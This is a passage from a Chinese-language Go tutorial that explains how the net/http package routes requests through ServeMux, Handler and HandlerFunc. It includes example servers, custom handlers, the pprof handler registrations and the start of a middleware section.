\u65b9\u6cd5\u5904\u7406\u63a5\u6536\u5230\u7684\u8fde\u63a5\u3002\u5fc5\u987b\u63d0\u4f9b\u8bc1\u4e66\u6587\u4ef6\u548c\u5bf9\u5e94\u7684\u79c1\u94a5\u6587 \u4ef6\u3002\u5982\u679c\u8bc1\u4e66\u662f\u7531\n// \u6743\u5a01\u673a\u6784\u7b7e\u53d1\u7684\uff0ccertFile\u53c2\u6570\u5fc5\u987b\u662f\u987a\u5e8f\u4e32\u8054\u7684\u670d\u52a1\u7aef\u8bc1\u4e66\u548cCA\u8bc1\u4e66\u3002\n// \u5982\u679csrv.Addr\u4e3a\u7a7a\u5b57\u7b26\u4e32\uff0c\u4f1a\u4f7f \u7528\u201d:https\u201d\u3002\nfunc (srv *Server) ListenAndServeTLS(certFile, keyFile string) error \n\n// \u63a5\u53d7Listener l\u7684\u8fde\u63a5\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u670d\u52a1\u534f\u7a0b\u3002\u8be5\u670d\u52a1\u534f\u7a0b\u8bfb\u53d6\u8bf7\u6c42\u7136\u540e\u8c03\u7528\n// srv.Handler\u6765\u5e94\u7b54\u3002\u5b9e\u9645\u4e0a\u5c31\u662f\u5b9e\u73b0\u4e86\u5bf9\u67d0\u4e2a\u7aef\u53e3\u8fdb\u884c\u76d1\u542c\uff0c\u7136\u540e\u521b\u5efa\u76f8\u5e94\u7684\u8fde\u63a5\u3002 \nfunc (srv *Server) Serve(l net.Listener) error\n\n// \u8be5\u51fd\u6570\u63a7\u5236\u662f\u5426http\u7684keep-alives\u80fd\u591f\u4f7f\u7528\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0ckeep-alives\u603b\u662f\u53ef\u7528\u7684\u3002\n// \u53ea\u6709\u8d44\u6e90\u975e\u5e38\u7d27\u5f20\u7684\u73af\u5883\u6216\u8005\u670d\u52a1\u7aef\u5728\u5173\u95ed\u8fdb\u7a0b\u4e2d\u65f6\uff0c\u624d\u5e94\u8be5\u5173\u95ed\u8be5\u529f\u80fd\u3002 \nfunc (s *Server) SetKeepAlivesEnabled(v bool)\n\n// \u662f\u4e00\u4e2ahttp\u8bf7\u6c42\u591a\u8def\u590d\u7528\u5668\uff0c\u5b83\u5c06\u6bcf\u4e00\u4e2a\u8bf7\u6c42\u7684URL\u548c\n// \u4e00\u4e2a\u6ce8\u518c\u6a21\u5f0f\u7684\u5217\u8868\u8fdb\u884c\u5339\u914d\uff0c\u7136\u540e\u8c03\u7528\u548cURL\u6700\u5339\u914d\u7684\u6a21\u5f0f\u7684\u5904\u7406\u5668\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u3002\ntype ServeMux\n\n// \u521d\u59cb\u5316\u4e00\u4e2a\u65b0\u7684ServeMux \nfunc NewServeMux() *ServeMux\n\n// \u5c06handler\u6ce8\u518c\u4e3a\u6307\u5b9a\u7684\u6a21\u5f0f\uff0c\u5982\u679c\u8be5\u6a21\u5f0f\u5df2\u7ecf\u6709\u4e86handler\uff0c\u5219\u4f1a\u51fa\u9519panic\u3002\nfunc (mux *ServeMux) Handle(pattern string, handler Handler) \n\n// \u5c06handler\u6ce8\u518c\u4e3a\u6307\u5b9a\u7684\u6a21\u5f0f \nfunc (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request))\n\n// \u6839\u636e\u6307\u5b9a\u7684r.Method, r.Host\u4ee5\u53car.RUL.Path\u8fd4\u56de\u4e00\u4e2a\u7528\u6765\u5904\u7406\u7ed9\u5b9a\u8bf7\u6c42\u7684handler\u3002\n// \u8be5\u51fd\u6570\u603b\u662f\u8fd4\u56de\u4e00\u4e2a\u975enil\u7684 handler\uff0c\u5982\u679cpath\u4e0d\u662f\u4e00\u4e2a\u89c4\u8303\u683c\u5f0f\uff0c\u5219handler\u4f1a\n// \u91cd\u5b9a\u5411\u5230\u5176\u89c4\u8303path\u3002Handler\u603b\u662f\u8fd4\u56de\u5339\u914d\u8be5\u8bf7\u6c42\u7684\u7684\u5df2\u6ce8\u518c\u6a21\u5f0f\uff1b\u5728\u5185\u5efa\u91cd\u5b9a\u5411\n// \u5904\u7406\u5668\u7684\u60c5\u51b5\u4e0b\uff0cpattern\u4f1a\u5728\u91cd\u5b9a\u5411\u540e\u8fdb\u884c\u5339\u914d\u3002\u5982\u679c\u6ca1\u6709\u5df2\u6ce8\u518c\u6a21\u5f0f\u53ef\u4ee5\u5e94\u7528\u4e8e\u8be5\u8bf7\u6c42\uff0c\n// \u672c\u65b9\u6cd5\u5c06\u8fd4\u56de\u4e00\u4e2a\u5185\u5efa\u7684\u201d404 page not found\u201d\u5904\u7406\u5668\u548c\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u6a21\u5f0f\u3002\nfunc (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) \n\n// \u8be5\u51fd\u6570\u7528\u4e8e\u5c06\u6700\u63a5\u8fd1\u8bf7\u6c42url\u6a21\u5f0f\u7684handler\u5206\u914d\u7ed9\u6307\u5b9a\u7684\u8bf7\u6c42\u3002 \nfunc (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Handler\u63a5\u53e3\u5e94\u8be5\u7b97\u662fserver.go\u4e2d\u6700\u5173\u952e\u7684\u63a5\u53e3\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4ed4\u7ec6\u770b\u8fd9\u4e2a\u6587\u4ef6\u7684\u6e90\u4ee3\u7801\uff0c\u5c06\u4f1a\u53d1\u73b0\u5f88\u591a\u7ed3\u6784\u4f53\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u7684ServeHTTP\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\u8fd9\u4e2a\u63a5\u53e3\u7684\u6ce8\u91ca\uff1aHandler\u54cd\u5e94HTTP\u8bf7\u6c42\u3002\u6ca1\u9519\uff0c\u6700\u7ec8\u6211\u4eec\u7684http\u670d\u52a1\u662f\u901a\u8fc7\u5b9e\u73b0ServeHTTP(ResponseWriter, *Request)\u6765\u8fbe\u5230\u670d\u52a1\u7aef\u63a5\u6536\u5ba2\u6237\u7aef\u8bf7\u6c42\u5e76\u54cd\u5e94\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7406\u89e3 HTTP \u6784\u5efa\u7684\u7f51\u7edc\u5e94\u7528\u53ea\u8981\u5173\u6ce8\u4e24\u4e2a\u7aef---\u5ba2\u6237\u7aef\uff08Clinet\uff09\u548c\u670d\u52a1\u7aef\uff08Server\uff09\uff0c\u4e24\u4e2a\u7aef\u7684\u4ea4\u4e92\u6765\u81ea Clinet \u7684 Request\uff0c\u4ee5\u53caServer\u7aef\u7684Response\u3002HTTP\u670d\u52a1\u5668\uff0c\u4e3b\u8981\u5728\u4e8e\u5982\u4f55\u63a5\u53d7 Clinet\u7aef\u7684 Request\uff0cServer\u7aef\u5411Client\u7aef\u8fd4\u56deResponse\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u90a3\u8fd9\u4e2a\u8fc7\u7a0b\u662f\u4ec0\u4e48\u6837\u7684\u5462\uff1f\u8981\u8bb2\u6e05\u695a\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u8fd8\u9700\u8981\u56de\u5230\u5f00\u59cb\u7684HTTP\u670d\u52a1\u5668\u7a0b\u5e8f\u3002\u8fd9\u91cc\u4ee5\u524d\u9762\u6211\u4eec\u4e86\u89e3\u5230\u7684http Request\u3001http Response\u3001http Client\u4f5c\u4e3a\u57fa\u7840\uff0c\u5e76\u91cd\u70b9\u5206\u6790server.go\u6e90\u4ee3\u7801\u624d\u80fd\u8bb2\u6e05\u695a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func main() {\n http.HandleFunc("/", myfunc)\n http.ListenAndServe(":8080", nil)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u4ee5\u4e0a\u4e24\u884c\u4ee3\u7801\uff0c\u5c31\u6210\u529f\u542f\u52a8\u4e86\u4e00\u4e2aHTTP\u670d\u52a1\u5668\u3002\u6211\u4eec\u901a\u8fc7net/http \u5305\u6e90\u4ee3\u7801\u5206\u6790\u53d1\u73b0\uff0c\u8c03\u7528Http.HandleFunc\uff0c\u6309\u987a\u5e8f\u505a\u4e86\u51e0\u4ef6\u4e8b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:"1.Http.HandleFunc\u8c03\u7528\u4e86DefaultServeMux\u7684HandleFunc"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {\n DefaultServeMux.HandleFunc(pattern, handler)\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"2.DefaultServeMux.HandleFunc\u8c03\u7528\u4e86DefaultServeMux\u7684Handle\uff0cDefaultServeMux\u662f\u4e00\u4e2aServeMux \u6307\u9488\u53d8\u91cf\u3002\u800cServeMux \u662fGo\u8bed\u8a00\u4e2d\u7684Multiplexer\uff08\u591a\u8def\u590d\u7528\u5668\uff09\uff0c\u901a\u8fc7Handle\u5339\u914dpattern \u548c\u6211\u4eec\u5b9a\u4e49\u7684handler\uff08\u5176\u5b9e\u5c31\u662fhttp.HandlerFunc\u51fd\u6570\u7c7b\u578b\u53d8\u91cf\uff09\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"var DefaultServeMux = &defaultServeMux\nvar defaultServeMux ServeMux\n\nfunc (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {\n mux.Handle(pattern, HandlerFunc(handler))\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1a \u4e0a\u9762\u7684\u65b9\u6cd5\u547d\u540dHandle\uff0cHandleFunc\u548cHandlerFunc\uff0cHandler\uff08\u63a5\u53e3\uff09\uff0c\u4ed6\u4eec\u5f88\u76f8\u4f3c\uff0c\u5bb9\u6613\u6df7\u6dc6\u3002\u8bb0\u4f4fHandle\u548cHandleFunc\u548cpattern \u5339\u914d\u6709\u5173\uff0c\u4e5f\u5373\u5f80DefaultServeMux\u7684map[string]muxEntry\u4e2d\u589e\u52a0\u5bf9\u5e94\u7684handler\u548c\u8def\u7531\u89c4\u5219\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u63a5\u7740\u6211\u4eec\u770b\u770bmyfunc\u7684\u58f0\u660e\u548c\u5b9a\u4e49\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u800c",(0,s.jsx)(n.code,{children:"type HandlerFunc func(ResponseWriter, *Request) "}),"\u662f\u4e00\u4e2a\u51fd\u6570\u7c7b\u578b\uff0c\u800c\u6211\u4eec\u5b9a\u4e49\u7684myfunc\u7684\u51fd\u6570\u7b7e\u540d\u521a\u597d\u7b26\u5408\u8fd9\u4e2a\u51fd\u6570\u7c7b\u578b\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6240\u4ee5",(0,s.jsx)(n.code,{children:'http.HandleFunc("/", myfunc)'}),"\uff0c\u5b9e\u9645\u4e0a\u662f",(0,s.jsx)(n.code,{children:'mux.Handle("/", HandlerFunc(myfunc))'}),"\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"HandlerFunc(myfunc) \u8ba9myfunc\u6210\u4e3a\u4e86HandlerFunc\u7c7b\u578b\uff0c\u6211\u4eec\u79f0myfunc\u4e3ahandler\u3002\u800cHandlerFunc\u7c7b\u578b\u662f\u5177\u6709ServeHTTP\u65b9\u6cd5\u7684\uff0c\u800c\u6709\u4e86ServeHTTP\u65b9\u6cd5\u4e5f\u5c31\u662f\u5b9e\u73b0\u4e86Handler\u63a5\u53e3\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {\n f(w, r) // \u8fd9\u76f8\u5f53\u4e8e\u81ea\u8eab\u7684\u8c03\u7528\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u73b0\u5728ServeMux\u548cHandler\u90fd\u548c\u6211\u4eec\u7684myfunc\u8054\u7cfb\u4e0a\u4e86\uff0cmyfunc\u662f\u4e00\u4e2aHandler\u63a5\u53e3\u53d8\u91cf\u4e5f\u662fHandlerFunc\u7c7b\u578b\u53d8\u91cf\uff0c\u63a5\u4e0b\u6765\u548c\u7ed3\u6784\u4f53server\u6709\u5173\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4ecehttp.ListenAndServe\u7684\u6e90\u7801\u53ef\u4ee5\u770b\u51fa\uff0c\u5b83\u521b\u5efa\u4e86\u4e00\u4e2aserver\u5bf9\u8c61\uff0c\u5e76\u8c03\u7528server\u5bf9\u8c61\u7684ListenAndServe\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func ListenAndServe(addr string, handler Handler) error {\n server := &Server{Addr: addr, Handler: handler}\n return server.ListenAndServe()\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u800c\u6211\u4eecHTTP\u670d\u52a1\u5668\u4e2d\u7b2c\u4e8c\u884c\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'http.ListenAndServe(":8080", nil)\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u521b\u5efa\u4e86\u4e00\u4e2aserver\u5bf9\u8c61\uff0c\u5e76\u8c03\u7528server\u5bf9\u8c61\u7684ListenAndServe\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6ca1\u6709\u76f4\u63a5\u4f20\u9012Handler\uff0c\u800c\u662f\u9ed8\u8ba4\u4f7f\u7528DefautServeMux\u4f5c\u4e3amultiplexer\uff0cmyfunc\u662f\u5b58\u5728\u4e8ehandler\u548c\u8def\u7531\u89c4\u5219\u4e2d\u7684\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Server\u7684ListenAndServe\u65b9\u6cd5\u4e2d\uff0c\u4f1a\u521d\u59cb\u5316\u76d1\u542c\u5730\u5740Addr\uff0c\u540c\u65f6\u8c03\u7528Listen\u65b9\u6cd5\u8bbe\u7f6e\u76d1\u542c\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"for {\n rw, e := l.Accept()\n ...\n c := srv.newConn(rw)\nc.setState(c.rwc, StateNew) \ngo c.serve(ctx)\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u76d1\u542c\u5f00\u542f\u4e4b\u540e\uff0c\u4e00\u65e6\u5ba2\u6237\u7aef\u8bf7\u6c42\u8fc7\u6765\uff0cGo\u5c31\u5f00\u542f\u4e00\u4e2a\u534f\u7a0bgo c.serve(ctx)\u5904\u7406\u8bf7\u6c42\uff0c\u4e3b\u8981\u903b\u8f91\u90fd\u5728serve\u65b9\u6cd5\u4e4b\u4e2d\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["func (c *conn) serve(ctx context.Context)\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5f88\u957f\uff0c\u91cc\u9762\u4e3b\u8981\u7684\u4e00\u53e5\uff1a",(0,s.jsx)(n.code,{children:"serverHandler{c.server}.ServeHTTP(w, w.req)"}),"\u3002\u5176\u4e2dw\u7531w, err := c.readRequest(ctx)\u5f97\u5230\uff0c\u56e0\u4e3a\u6709\u4f20\u9012context\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u8fd8\u662f\u6765\u770b\u6e90\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'type serverHandler struct {\nsrv *Server\n}\n\nfunc (sh serverHandler) ServeHTTP(rw ResponseWriter, req Request) {\nhandler := sh.srv.Handler\nif handler == nil {\nhandler = DefaultServeMux\n}\nif req.RequestURI == "" && req.Method == "OPTIONS" {\nhandler = globalOptionsHandler{}\n}\nhandler.ServeHTTP(rw, req)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:'\u4ecehttp.ListenAndServe(":8080", nil)\u5f00\u59cb\uff0chandler\u662fnil\uff0c\u6240\u4ee5\u6700\u540e\u5b9e\u9645ServeHTTP\u65b9\u6cd5\u662fDefaultServeMux.ServeHTTP(rw, req)\u3002'}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {\n if r.RequestURI == "*" {\n if r.ProtoAtLeast(1, 1) {\n w.Header().Set("Connection", "close")\n }\n w.WriteHeader(StatusBadRequest)\n return\n }\n h, _ := mux.Handler(r)\n h.ServeHTTP(w, r)\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u901a\u8fc7func (mux ",(0,s.jsx)(n.em,{children:"ServeMux) Handler(r"}),' Request) (h Handler, pattern string)\uff0c\u6211\u4eec\u5f97\u5230Handler h\uff0c\u7136\u540e\u6267\u884ch.ServeHTTP(w, r)\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u6267\u884c\u6211\u4eec\u7684myfunc\u51fd\u6570\uff08\u522b\u5fd8\u4e86myfunc\u662fHandlerFunc\u7c7b\u578b\uff0c\u800c\u4ed6\u7684ServeHTTP(w, r)\u65b9\u6cd5\u8fd9\u91cc\u5176\u5b9e\u5c31\u662f\u81ea\u5df1\u8c03\u7528\u81ea\u5df1\uff09\uff0c\u628aresponse\u5199\u5230http.ResponseWriter\u5bf9\u8c61\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\uff0cfmt.Fprintf(w, "hi")\uff0c\u6211\u4eec\u5728\u5ba2\u6237\u7aef\u4f1a\u63a5\u6536\u5230hi \u3002\u81f3\u6b64\u6574\u4e2aHTTP\u670d\u52a1\u6267\u884c\u5b8c\u6210\u3002']}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7ed3\u4e0b\uff0cHTTP\u670d\u52a1\u6574\u4e2a\u8fc7\u7a0b\u5927\u6982\u662f\u8fd9\u6837\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"Request -> ServeMux(Multiplexer) -> handler-> Response\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u518d\u770b\u4e0b\u9762\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'http.ListenAndServe(":8080", nil)\nfunc ListenAndServe(addr string, handler Handler) error {\n server := &Server{Addr: addr, Handler: handler}\n return server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0a\u9762\u4ee3\u7801\u5b9e\u9645\u4e0a\u5c31\u662fserver.ListenAndServe()\u6267\u884c\u7684\u5b9e\u9645\u6548\u679c\uff0c\u53ea\u4e0d\u8fc7\u7b80\u5355\u58f0\u660e\u4e86\u4e00\u4e2a\u7ed3\u6784\u4f53",(0,s.jsx)(n.code,{children:"Server{Addr: addr, Handler: handler}"}),"\u5b9e\u4f8b\u3002\u5982\u679c\u6211\u4eec\u58f0\u660e\u4e00\u4e2aServer\u5b9e\u4f8b\uff0c\u5b8c\u5168\u53ef\u4ee5\u8fbe\u5230\u6df1\u5ea6\u81ea\u5b9a\u4e49 http.Server\u7684\u76ee\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n // \u66f4\u591ahttp.Server\u7684\u5b57\u6bb5\u53ef\u4ee5\u6839\u636e\u60c5\u51b5\u521d\u59cb\u5316\n server := http.Server{\n Addr: ":8080",\n ReadTimeout: 0,\n WriteTimeout: 0,\n }\n http.HandleFunc("/", myfunc)\n server.ListenAndServe()\n}\n\n\u8fd9\u6837\u670d\u52a1\u4e5f\u80fd\u8dd1\u8d77\u6765\uff0c\u800c\u4e14\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u6839\u636e\u60c5\u51b5\u6765\u81ea\u5b9a\u4e49\u6211\u4eec\u7684Server\uff01\n\n\u8fd8\u53ef\u4ee5\u6307\u5b9aServemux\u7684\u7528\u6cd5:\n\nGOPATH\\src\\go42\\chapter-15\\15.3\\7\\main.go\n\npackage main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n mux.HandleFunc("/", myfunc)\n http.ListenAndServe(":8080", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u65e2\u6307\u5b9aServemux\u53c8\u81ea\u5b9a\u4e49 http.Server\uff0c\u56e0\u4e3aServer\u4e2d\u6709\u5b57\u6bb5Handler\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u628aServemux\u53d8\u91cf\u4f5c\u4e3aServer.Handler\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n server := http.Server{\n Addr: ":8080",\n ReadTimeout: 0,\n WriteTimeout: 0,\n }\n mux := http.NewServeMux()\n server.Handler = mux\n\n mux.HandleFunc("/", myfunc)\n server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u524d\u9762pprof \u5305\u7684\u5185\u5bb9\u4e2d\u6211\u4eec\u4e5f\u7528\u4e86\u672c\u7ae0\u5f00\u5934\u8fd9\u6bb5\u4ee3\u7801\uff0c\u5f53\u6211\u4eec\u8bbf\u95ee",(0,s.jsx)(n.a,{href:"http://localhost:8080/debug/pprof/",children:"http://localhost:8080/debug/pprof/"}),' \u65f6\u53ef\u4ee5\u770b\u5230\u5bf9\u5e94\u7684\u6027\u80fd\u5206\u6790\u62a5\u544a\u3002 \u56e0\u4e3a\u6211\u4eec\u8fd9\u6837\u5bfc\u5165 _"net/http/pprof" \u5305\u65f6\uff0c\u5728\u6587\u4ef6 pprof.go \u6587\u4ef6\u4e2dinit \u51fd\u6570\u5df2\u7ecf\u5b9a\u4e49\u597d\u4e86handler\uff1a']}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func init() {\n http.HandleFunc("/debug/pprof/", Index)\n http.HandleFunc("/debug/pprof/cmdline", Cmdline)\n http.HandleFunc("/debug/pprof/profile", Profile)\n http.HandleFunc("/debug/pprof/symbol", Symbol)\n http.HandleFunc("/debug/pprof/trace", Trace)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6240\u4ee5\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e0a\u9762\u5730\u5740\u6765\u770b\u5230\u62a5\u544a\u3002\u73b0\u5728\u518d\u6765\u770b\u8fd9\u4e9b\u4ee3\u7801\uff0c\u6211\u4eec\u5c31\u660e\u767d\u600e\u4e48\u56de\u4e8b\u4e86\uff01"}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668custom-handlers",children:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668\uff08Custom Handlers\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u81ea\u5b9a\u4e49\u7684Handler\uff1a"}),"\n",(0,s.jsx)(n.p,{children:"\u6807\u51c6\u5e93http\u63d0\u4f9b\u4e86Handler\u63a5\u53e3\uff0c\u7528\u4e8e\u5f00\u53d1\u8005\u5b9e\u73b0\u81ea\u5df1\u7684handler\u3002\u53ea\u8981\u5b9e\u73b0\u63a5\u53e3\u7684ServeHTTP\u65b9\u6cd5\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "log"\n "net/http"\n "time"\n)\n\ntype timeHandler struct {\n format string\n}\n\nfunc (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n tm := time.Now().Format(th.format)\n w.Write([]byte("The time is: " + tm))\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n th := &timeHandler{format: time.RFC1123}\n mux.Handle("/time", th)\n\n log.Println("Listening...")\n http.ListenAndServe(":3000", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u77e5\u9053\uff0cNewServeMux\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2aServeMux\u5b9e\u4f8b\uff0cServeMux\u540c\u65f6\u4e5f\u5b9e\u73b0\u4e86ServeHTTP\u65b9\u6cd5\uff0c\u56e0\u6b64\u4ee3\u7801\u4e2d\u7684mux\u4e5f\u662f\u4e00\u79cdhandler\u3002\u628a\u5b83\u5f53\u6210\u53c2\u6570\u4f20\u7ed9http.ListenAndServe\u65b9\u6cd5\uff0c\u540e\u8005\u4f1a\u628amux\u4f20\u7ed9Server\u5b9e\u4f8b\u3002\u56e0\u4e3a\u6307\u5b9a\u4e86handler\uff0c\u56e0\u6b64\u6574\u4e2ahttp\u670d\u52a1\u5c31\u4e0d\u518d\u662fDefaultServeMux\uff0c\u800c\u662fmux\uff0c\u65e0\u8bba\u662f\u5728\u6ce8\u518c\u8def\u7531\u8fd8\u662f\u63d0\u4f9b\u8bf7\u6c42\u670d\u52a1\u7684\u65f6\u5019\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4efb\u4f55\u6709 func(http.ResponseWriter\uff0c*http.Request) \u7b7e\u540d\u7684\u51fd\u6570\u90fd\u80fd\u8f6c\u5316\u4e3a\u4e00\u4e2a HandlerFunc \u7c7b\u578b\u3002\u8fd9\u5f88\u6709\u7528\uff0c\u56e0\u4e3a HandlerFunc \u5bf9\u8c61\u5185\u7f6e\u4e86 ServeHTTP \u65b9\u6cd5\uff0c\u540e\u8005\u53ef\u4ee5\u806a\u660e\u53c8\u65b9\u4fbf\u7684\u8c03\u7528\u6211\u4eec\u6700\u521d\u63d0\u4f9b\u7684\u51fd\u6570\u5185\u5bb9\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",children:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "log"\n "net/http"\n "time"\n)\n\nfunc timeHandler(w http.ResponseWriter, r *http.Request) {\n tm := time.Now().Format(time.RFC1123)\n w.Write([]byte("The time is: " + tm))\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n // Convert the timeHandler function to a HandlerFunc type\n th := http.HandlerFunc(timeHandler)\n // And add it to the ServeMux\n mux.Handle("/time", th)\n\n log.Println("Listening...")\n http.ListenAndServe(":3000", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u521b\u5efa\u65b0\u7684server\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func index(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Content-Type", "text/html")\n\n html := `<doctype html>\n <html>\n <head>\n <title>Hello World\n \n \n

\n Welcome\n

\n \n`\n fmt.Fprintln(w, html)\n}\n\nfunc main(){\n http.HandleFunc("/", index)\n\n server := &http.Server{\n Addr: ":8000", \n ReadTimeout: 60 * time.Second, \n WriteTimeout: 60 * time.Second, \n }\n server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u4e2d\u95f4\u4ef6middleware",children:"\u4e2d\u95f4\u4ef6Middleware"}),"\n",(0,s.jsx)(n.p,{children:"\u6240\u8c13\u4e2d\u95f4\u4ef6\uff0c\u5c31\u662f\u8fde\u63a5\u4e0a\u4e0b\u7ea7\u4e0d\u540c\u529f\u80fd\u7684\u51fd\u6570\u6216\u8005\u8f6f\u4ef6\uff0c\u901a\u5e38\u8fdb\u884c\u4e00\u4e9b\u5305\u88f9\u51fd\u6570\u7684\u884c\u4e3a\uff0c\u4e3a\u88ab\u5305\u88f9\u51fd\u6570\u63d0\u4f9b\u6dfb\u52a0\u4e00\u4e9b\u529f\u80fd\u6216\u884c\u4e3a\u3002\u524d\u6587\u7684HandleFunc\u5c31\u80fd\u628a\u7b7e\u540d\u4e3a func(w http.ResponseWriter, r *http.Reqeust)\u7684\u51fd\u6570\u5305\u88f9\u6210handler\u3002\u8fd9\u4e2a\u51fd\u6570\u4e5f\u7b97\u662f\u4e2d\u95f4\u4ef6\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Go\u7684http\u4e2d\u95f4\u4ef6\u5f88\u7b80\u5355\uff0c\u53ea\u8981\u5b9e\u73b0\u4e00\u4e2a\u51fd\u6570\u7b7e\u540d\u4e3afunc(http.Handler) 